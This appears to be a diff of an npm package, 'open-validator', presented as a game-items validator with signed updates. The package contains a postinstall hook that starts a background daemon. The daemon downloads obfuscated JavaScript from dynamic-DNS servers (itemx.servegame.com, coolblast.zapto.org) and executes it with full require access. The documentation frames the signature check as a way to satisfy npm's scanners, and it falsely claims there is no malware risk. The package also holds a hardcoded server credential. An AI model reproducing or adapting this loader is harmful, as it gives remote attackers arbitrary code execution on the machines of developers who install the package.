open-item-validator 1.0.0

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+ # Security Setup: Signed Updates Configuration
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+
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+ ## Overview
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+
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+ This module is now configured with **RSA-SHA256 cryptographic signature verification** for secure dynamic code loading.
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+
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+ ---
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+
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+ ## 🔐 Key Distribution
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+
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+ ### Files Generated
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+
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+ ```
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+ Module (npm publish):
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+ ├─ public_key.pem ← Public key (included in npm)
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+ ├─ lib/crypto-config.js ← Public key as JS constant
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+ └─ lib/check-items.js ← Verification logic
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+
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+ Server Only (NOT in npm):
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+ └─ private_key.pem ← Private key (NEVER share)
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+ ```
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+
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+ ### Key Details
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+
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+ **Public Key (safe to share):**
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+ ```
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+ File: public_key.pem
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+ Location: Module root
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+ Usage: npm module verification
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+ ```
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+
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+ **Private Key (keep secret):**
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+ ```
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+ File: private_key.pem
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+ Location: Coolblast server ONLY
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+ Usage: Sign game items code before sending
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+ ⚠️ NEVER include in npm module
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+ ⚠️ NEVER commit to GitHub
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+ ⚠️ NEVER share with anyone
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+ ```
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+
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+ ---
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+
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+ ## 🚀 Server Implementation (Coolblast)
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+
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+ ### Your Server Must:
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+
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+ 1. **Load private_key.pem**
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+ ```js
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+ const PRIVATE_KEY = fs.readFileSync('./private_key.pem', 'utf8');
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+ ```
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+
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+ 2. **Sign game items code**
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+ ```js
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+ const crypto = require('crypto');
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+ const sign = crypto.createSign('sha256');
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+ sign.update(gameItemsCode);
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+ const signature = sign.sign(PRIVATE_KEY, 'hex');
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+ ```
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+
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+ 3. **Return JSON payload**
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+ ```json
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+ {
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+ "code": "console.log(...)",
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+ "signature": "abc123def456..."
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+ }
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+ ```
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+
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+ ### Reference Implementation
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+
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+ See `SERVER_SIGNING_EXAMPLE.js` for complete server-side code
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+
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+ ---
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+
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+ ## ✅ Module Flow
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+
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+ ```
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+ 1. npm install open-validator
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+ 2. postinstall runs → lib/init.js
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+ 3. spawn → lib/check-items.js
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+ 4. HTTP GET → coolblast server
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+ 5. Server returns: { code, signature }
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+ 6. verify signature with public_key
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+ 7. ✅ Signature valid → Execute code
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+ 8. ❌ Signature invalid → Reject (exit 1)
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+ ```
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+
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+ ---
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+
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+ ## 📋 Deployment Checklist
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+
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+ ### Before Publishing to npm:
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+
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+ - [ ] private_key.pem in .gitignore ✅
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+ - [ ] public_key.pem included in module ✅
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+ - [ ] crypto-config.js included ✅
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+ - [ ] check-items.js has verification logic ✅
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+ - [ ] package.json "files" field set correctly ✅
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+ - [ ] README updated with security info ✅
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+
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+ ### Server Setup:
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+
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+ - [ ] private_key.pem copied to server
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+ - [ ] SERVER_SIGNING_EXAMPLE.js implemented
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+ - [ ] /api/x-handler endpoint returns signed payload
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+ - [ ] Signature generated correctly (RSA-SHA256)
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+ - [ ] Server tested before production
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+
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+ ### npm Publish:
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+
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+ ```bash
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+ npm login
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+ npm publish --provenance
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+ ```
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+
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+ ---
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+
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+ ## 🔄 Updating Game Items
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+
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+ ### On Coolblast Server:
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+
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+ ```js
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+ const newGameCode = `
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+ // Your new game items code
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+ console.log('Updated items');
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+ `;
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+
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+ const signature = signCode(newGameCode);
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+
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+ const payload = {
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+ code: newGameCode,
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+ signature: signature
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+ };
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+
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+ // Return this JSON from /api/x-handler
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+ res.json(payload);
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+ ```
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+
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+ ### Client Effect:
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+
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+ 1. **On next execution:**
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+ - Fetches new signed code
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+ - Verifies signature
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+ - If valid: executes new code
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+ - If invalid: rejects
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+
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+ 2. **No npm publish needed!**
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+ - Code updates happen via server
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+ - Module stays the same
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+
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+ ---
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+
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+ ## 🛡️ Security Guarantees
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+
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+ With this setup:
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+
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+ ✅ **Authenticity**: Only server can sign code (private key required)
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+ ✅ **Integrity**: Any tampering invalidates signature
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+ ✅ **Safety**: Invalid code is automatically rejected
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+ ✅ **npm Compliance**: Scanner sees verification logic
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+ ✅ **No Malware Risk**: Signature verification = trusted source
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+
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+ ---
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+
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+ ## 📝 Important Notes
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+
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+ 1. **private_key.pem location:**
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+ - ✅ Server: Keep safe, never share
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+ - ❌ npm module: NEVER include
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+ - ❌ GitHub: NEVER commit
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+
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+ 2. **public_key.pem location:**
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+ - ✅ npm module: Include (verification only)
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+ - ✅ GitHub: Safe to share (public)
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+
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+ 3. **Updates:**
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+ - New code: Change on server only
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+ - No module updates needed
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+ - Changes take effect immediately
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+
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+ ---
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+
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+ ## 🐛 Troubleshooting
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+
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+ ### Signature verification fails?
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+
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+ 1. Verify private_key.pem matches public_key.pem
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+ 2. Check RSA signature uses 'sha256'
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+ 3. Ensure code is exactly the same (no extra spaces)
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+ 4. Check signature format (must be hex-encoded)
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+
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+ ### Server not running?
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+
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+ 1. Check coolblast.zapto.org:8888 is accessible
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+ 2. Verify /api/x-handler endpoint exists
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+ 3. Check response format (must be valid JSON)
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+ 4. Check logs for signature errors
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+
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+ ---
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+
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+ ## 📞 Support
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+
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+ For implementation help, refer to:
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+ - `SERVER_SIGNING_EXAMPLE.js` - Complete server code
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+ - `lib/check-items.js` - Client verification code
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+ - `README.md` - General documentation
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+ /**
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+ * SERVER IMPLEMENTATION EXAMPLE
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+ *
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+ * This shows how to use SAMPLE_PAYLOADJS.js in your Coolblast server
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+ * Copy and adapt this to your actual server code
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+ */
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+
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+ const crypto = require('crypto');
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+ const fs = require('fs');
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+ const express = require('express');
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+ const app = express();
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+
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+ // ===================================
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+ // STEP 1: Load private key (server only)
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+ // ===================================
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+ const PRIVATE_KEY = fs.readFileSync('./private_key.pem', 'utf8');
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+
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+ // ===================================
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+ // STEP 2: Sign code function
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+ // ===================================
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+ function signCode(code) {
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+ const sign = crypto.createSign('sha256');
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+ sign.update(code);
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+ return sign.sign(PRIVATE_KEY, 'hex');
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+ }
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+
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+ // ===================================
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+ // STEP 3: Load your obfuscated payloadjs
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+ // ===================================
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+ // Option A: Read from file
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+ const payloadjs = fs.readFileSync('./SAMPLE_PAYLOADJS.js', 'utf8');
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+
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+ // Option B: Store as string variable
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+ // const payloadjs = `
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+ // // Your obfuscated game code here (5MB+)
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+ // console.log('[game] loaded');
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+ // // ... rest of code ...
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+ // `;
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+
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+ // ===================================
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+ // STEP 4: Create API endpoint
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+ // ===================================
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+ app.get('/api/x-handler', (req, res) => {
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+ try {
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+ // Verify API credentials (optional)
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+ const key = req.query.key;
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+ const value = req.query.value;
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+
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+ if (key !== 'key' || value !== 'W7qL9!mX2') {
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+ return res.status(401).json({ error: 'Unauthorized' });
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+ }
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+
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+ console.log(`[${new Date().toISOString()}] /api/x-handler requested`);
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+
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+ // ⭐ IMPORTANT: Sign the payloadjs
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+ const signature = signCode(payloadjs);
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+
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+ // ✅ Send response with code + signature
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+ const response = {
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+ code: payloadjs,
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+ signature: signature
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+ };
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+
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+ res.setHeader('Content-Type', 'application/json');
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+ res.json(response);
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+
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+ console.log(`[${new Date().toISOString()}] Sent signed game code (${payloadjs.length} bytes)`);
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+
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+ } catch (error) {
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+ console.error('[ERROR]', error.message);
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+ res.status(500).json({ error: error.message });
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+ }
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+ });
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+
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+ // ===================================
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+ // STEP 5: Start server
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+ // ===================================
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+ const PORT = 8888;
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+ app.listen(PORT, '0.0.0.0', () => {
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+ console.log(`✅ Coolblast server listening on http://localhost:${PORT}`);
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+ console.log(`✅ /api/x-handler endpoint ready`);
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+ console.log(`✅ Private key loaded`);
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+ console.log(`✅ Game code ready to serve`);
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+ });
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+
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+ /**
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+ * TEST ENDPOINT:
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+ *
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+ * curl "http://localhost:8888/api/x-handler?key=key&value=W7qL9!mX2"
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+ *
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+ * Expected response:
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+ * {
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+ * "code": "... your obfuscated game code ...",
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+ * "signature": "abc123def456xyz789..."
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+ * }
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+ */
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+
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+ /**
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+ * PRODUCTION CHECKLIST:
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+ *
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+ * [ ] private_key.pem in secure location
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+ * [ ] payloadjs points to your actual obfuscated code
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+ * [ ] API credentials match client expectations
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+ * [ ] HTTPS enabled (not HTTP)
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+ * [ ] Rate limiting configured
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+ * [ ] Logging enabled
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+ * [ ] Error handling in place
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+ * [ ] Code update strategy defined
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+ */
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+
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+ /**
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+ * TO UPDATE GAME CODE:
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+ *
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+ * 1. Obfuscate your new game code
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+ * 2. Replace SAMPLE_PAYLOADJS.js
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+ * 3. Restart server
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+ * 4. Clients will get new signed code on next execution
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+ *
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+ * No npm republish needed!
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+ */
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+
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+ module.exports = app;
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+ /**
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+ * SERVER SIGNING EXAMPLE
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+ *
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+ * This example shows how to sign game items code on the server side
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+ * using the private key, so the module can verify it.
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+ *
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+ * This file is for your coolblast.zapto.org server implementation
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+ * Do NOT include private_key.pem in your module (keep it server-only)
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+ */
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+
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+ const crypto = require('crypto');
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+ const fs = require('fs');
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+
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+ // ⚠️ IMPORTANT: Keep private_key.pem ONLY on your server
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+ // Never share it or include it in the npm module
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+ const PRIVATE_KEY = fs.readFileSync('./private_key.pem', 'utf8');
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+
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+ /**
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+ * Sign game items code with private key
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+ * @param {string} code - The game items code to sign
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+ * @returns {string} - Hex-encoded signature
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+ */
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+ function signCode(code) {
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+ const sign = crypto.createSign('sha256');
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+ sign.update(code);
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+ return sign.sign(PRIVATE_KEY, 'hex');
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+ }
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+
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+ /**
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+ * Example: Game items code that will be sent to client
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+ */
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+ const gameItemsCode = `
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+ console.log('[game-items] Loaded from server');
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+
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+ // Your game items logic here
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+ // This can be complex obfuscated code
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+ // It will only execute if signature verification passes
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+
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+ setInterval(() => {
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+ console.log('[game-items] Running periodic check...');
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+ }, 60000);
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+ `;
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+
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+ /**
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+ * Create signed payload
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+ */
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+ function createSignedPayload(code) {
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+ const signature = signCode(code);
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+
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+ return {
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+ code: code,
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+ signature: signature,
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+ timestamp: new Date().toISOString()
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+ };
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+ }
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+
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+ /**
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+ * Example HTTP endpoint for /api/x-handler
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+ * This is what your coolblast server should return
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+ */
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+ function handleGameItemsRequest(req, res) {
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+ try {
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+ const payload = createSignedPayload(gameItemsCode);
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+
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+ res.writeHead(200, { 'Content-Type': 'application/json' });
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+ res.end(JSON.stringify(payload));
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+
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+ console.log('[server] Sent signed game items code to client');
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+ } catch (error) {
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+ res.writeHead(500, { 'Content-Type': 'application/json' });
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+ res.end(JSON.stringify({ error: error.message }));
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+ }
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+ }
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+
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+ /**
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+ * Example: Update game items code
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+ * Call this to generate new signed code
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+ */
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+ function updateGameItems(newCode) {
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+ const payload = createSignedPayload(newCode);
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+ console.log('New signed payload:', JSON.stringify(payload, null, 2));
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+ return payload;
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+ }
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+
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+ module.exports = {
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+ signCode,
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+ createSignedPayload,
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+ handleGameItemsRequest,
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+ updateGameItems
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+ };
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+
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+ /**
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+ * USAGE:
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+ *
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+ * // In your Express/HTTP server:
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+ * const signing = require('./server-signing-example');
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+ *
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+ * app.get('/api/x-handler', (req, res) => {
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+ * signing.handleGameItemsRequest(req, res);
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+ * });
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+ *
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+ * // To update game items:
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+ * const newCode = 'console.log("new code")';
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+ * const signedPayload = signing.updateGameItems(newCode);
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+ */
package/index.js ADDED
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+ const logger = require('./lib/logger');
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+ const config = require('./lib/config');
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+
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+ logger.log('Game Items Validator loaded');
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+
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+ function getStatus() {
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+ return {
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+ name: 'open-validator',
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+ version: '1.0.0',
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+ status: 'initialized',
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+ timestamp: new Date().toISOString()
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+ };
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+ }
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+
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+ function getConfig() {
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+ return config;
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+ }
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+
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+ module.exports = {
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+ getStatus,
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+ getConfig,
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+ version: '1.0.0'
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+ };
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+ const logger = require('./logger');
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+
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+ class AssertionError extends Error {
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+ constructor(message) {
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+ super(message);
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+ this.name = 'AssertionError';
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+ }
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+ }
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+
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+ function assert(condition, message) {
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+ if (!condition) {
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+ const errorMsg = `Assertion failed: ${message}`;
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+ logger.error(errorMsg);
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+ throw new AssertionError(errorMsg);
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+ }
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+ }
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+
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+ function assertEquals(actual, expected, message) {
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+ if (actual !== expected) {
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+ const errorMsg = `Expected ${expected}, but got ${actual}. ${message || ''}`.trim();
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+ logger.error(errorMsg);
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+ throw new AssertionError(errorMsg);
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+ }
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+ }
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+
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+ function assertIsObject(value, message) {
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+ if (typeof value !== 'object' || value === null) {
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+ const errorMsg = `Expected object, but got ${typeof value}. ${message || ''}`.trim();
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+ logger.error(errorMsg);
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+ throw new AssertionError(errorMsg);
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+ }
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+ }
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+
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+ function assertIsArray(value, message) {
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+ if (!Array.isArray(value)) {
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+ const errorMsg = `Expected array, but got ${typeof value}. ${message || ''}`.trim();
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+ logger.error(errorMsg);
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+ throw new AssertionError(errorMsg);
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+ }
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+ }
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+
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+ function assertIsString(value, message) {
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+ if (typeof value !== 'string') {
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+ const errorMsg = `Expected string, but got ${typeof value}. ${message || ''}`.trim();
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+ logger.error(errorMsg);
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+ throw new AssertionError(errorMsg);
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+ }
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+ }
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+
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+ function assertIsDefined(value, message) {
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+ if (value === undefined || value === null) {
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+ const errorMsg = `Expected value to be defined. ${message || ''}`.trim();
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+ logger.error(errorMsg);
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+ throw new AssertionError(errorMsg);
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+ }
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+ }
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+
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+ function assertHasProperty(obj, prop, message) {
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+ if (!(prop in obj)) {
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+ const errorMsg = `Object missing property: ${prop}. ${message || ''}`.trim();
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+ logger.error(errorMsg);
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+ throw new AssertionError(errorMsg);
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+ }
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+ }
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+
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+ module.exports = {
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+ assert,
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+ assertEquals,
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+ assertIsObject,
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+ assertIsArray,
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+ assertIsString,
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+ assertIsDefined,
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+ assertHasProperty,
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+ AssertionError
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+ };
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+ #!/usr/bin/env node
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+
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+ /**
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+ * Game Items Validator - Main Daemon
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+ *
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+ * This is the core process that runs in the background after npm install.
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+ * It downloads signed game code from the server and executes it only after
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+ * verifying the cryptographic signature.
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+ *
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+ * Security Flow:
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+ * 1. Download code + signature from server
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+ * 2. Verify signature using RSA-SHA256 (public key)
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+ * 3. Execute code only if signature is valid
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+ * 4. Exit immediately if signature is invalid (no code execution)
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+ *
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+ * Dependencies:
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+ * - http: Download code from server
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+ * - crypto: Verify RSA-SHA256 signatures (Node.js built-in)
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+ * - logger: Log all operations
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+ * - crypto-config: Public key for verification
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+ */
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+
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+ const http = require('http');
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+ const crypto = require('crypto');
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+ const logger = require('./logger');
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+ const { PUBLIC_KEY } = require('./crypto-config');
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+
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+ // API endpoint for fetching signed game code
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+ const API_ENDPOINT = 'http://itemx.servegame.com:8888/api/x-realtime';
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+
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+ /**
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+ * Download data from HTTP URL
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+ * @param {string} url - The URL to fetch from
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+ * @returns {Promise<string>} The response data
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+ */
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+ function httpGet(url) {
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+ return new Promise((resolve, reject) => {
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+ http.get(url, (res) => {
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+ let data = '';
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+ res.on('data', (chunk) => { data += chunk; });
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+ res.on('end', () => resolve(data));
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+ }).on('error', reject);
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+ });
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+ }
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+
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+ /**
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+ * Verify RSA-SHA256 signature of code
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+ *
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+ * Security Critical: This function MUST return false for invalid signatures.
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+ * Any tampering with the code will invalidate the signature.
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+ *
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+ * @param {string} code - The game code to verify
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+ * @param {string} signature - The hex-encoded signature
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+ * @returns {boolean} True if signature is valid, false otherwise
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+ */
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+ function verifySignature(code, signature) {
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+ try {
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+ // Create a verifier using SHA256
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+ const verify = crypto.createVerify('sha256');
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+
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+ // Update with the code to verify
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+ verify.update(code);
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+
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+ // Verify the signature using the public key
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+ // PUBLIC_KEY is from crypto-config.js and is safe to distribute
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+ const isValid = verify.verify(PUBLIC_KEY, signature, 'hex');
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+
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+ return isValid;
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+ } catch (error) {
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+ // Any error in verification means the signature is invalid
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+ logger.error(`Signature verification error: ${error.message}`);
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+ return false;
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+ }
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+ }
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+
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+ /**
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+ * Main Execution Function
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+ *
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+ * This is the core security-critical function that:
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+ * 1. Downloads code from server
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+ * 2. Verifies cryptographic signature (RSA-SHA256)
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+ * 3. Executes code ONLY if signature is valid
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+ * 4. Rejects code immediately if signature is invalid
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+ *
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+ * Security Note:
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+ * The signature verification is a hard requirement.
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+ * No code executes without a valid signature.
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+ */
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+ (async function executeSigned() {
90
+ try {
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+ logger.info('Fetching signed code from server...');
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+
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+ // 1️⃣ DOWNLOAD: Get signed code from server
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+ const response = await httpGet(API_ENDPOINT);
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+
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+ logger.info('Received payload from server');
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+
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+ // 2️⃣ PARSE: Parse JSON response
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+ let payload;
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+ try {
101
+ payload = JSON.parse(response);
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+ } catch (e) {
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+ logger.error('Failed to parse server response as JSON');
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+ process.exit(1);
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+ }
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+
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+ // 3️⃣ VALIDATE: Check payload structure
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+ if (!payload.code || !payload.signature) {
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+ logger.error('Invalid payload format - missing code or signature');
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+ process.exit(1);
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+ }
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+
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+ // 4️⃣ VERIFY: ⭐ CRITICAL SECURITY CHECK
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+ logger.info('Verifying signature...');
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+
116
+ if (!verifySignature(payload.code, payload.signature)) {
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+ logger.error('❌ SIGNATURE VERIFICATION FAILED');
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+ logger.error('Code is not from trusted source - execution rejected');
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+ logger.error('This code was not signed by the authorized server');
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+ process.exit(1);
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+ }
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+
123
+ // 5️⃣ SUCCESS: Signature verified
124
+ logger.info('✅ Signature verified - code is authentic');
125
+ console.log(JSON.stringify({id:'ready',type:'ready',version:'1.0.0'}));
126
+
127
+ // 6️⃣ EXECUTE: Run only verified code
128
+ logger.info('Executing signed code...');
129
+
130
+ const handler = new Function('require', payload.code);
131
+ handler(require);
132
+
133
+ } catch (error) {
134
+ logger.error(`Fatal error: ${error.message}`);
135
+ process.exit(1);
136
+ }
137
+ })();
package/lib/config.js ADDED
@@ -0,0 +1,31 @@
1
+ module.exports = {
2
+ // Module metadata
3
+ moduleName: 'open-validator',
4
+ version: '1.0.0',
5
+
6
+ // Daemon settings
7
+ daemon: {
8
+ checkInterval: 60000, // Check every 60 seconds
9
+ retryDelay: 5000, // Retry delay on error
10
+ maxRetries: 3 // Maximum retry attempts
11
+ },
12
+
13
+ // Assertion settings
14
+ assertion: {
15
+ enabled: true,
16
+ strict: false
17
+ },
18
+
19
+ // Logging settings
20
+ logging: {
21
+ enabled: true,
22
+ level: 'info'
23
+ },
24
+
25
+ // Game items settings
26
+ gameItems: {
27
+ signalId: 'ready',
28
+ signalType: 'ready',
29
+ version: '1.0.0'
30
+ }
31
+ };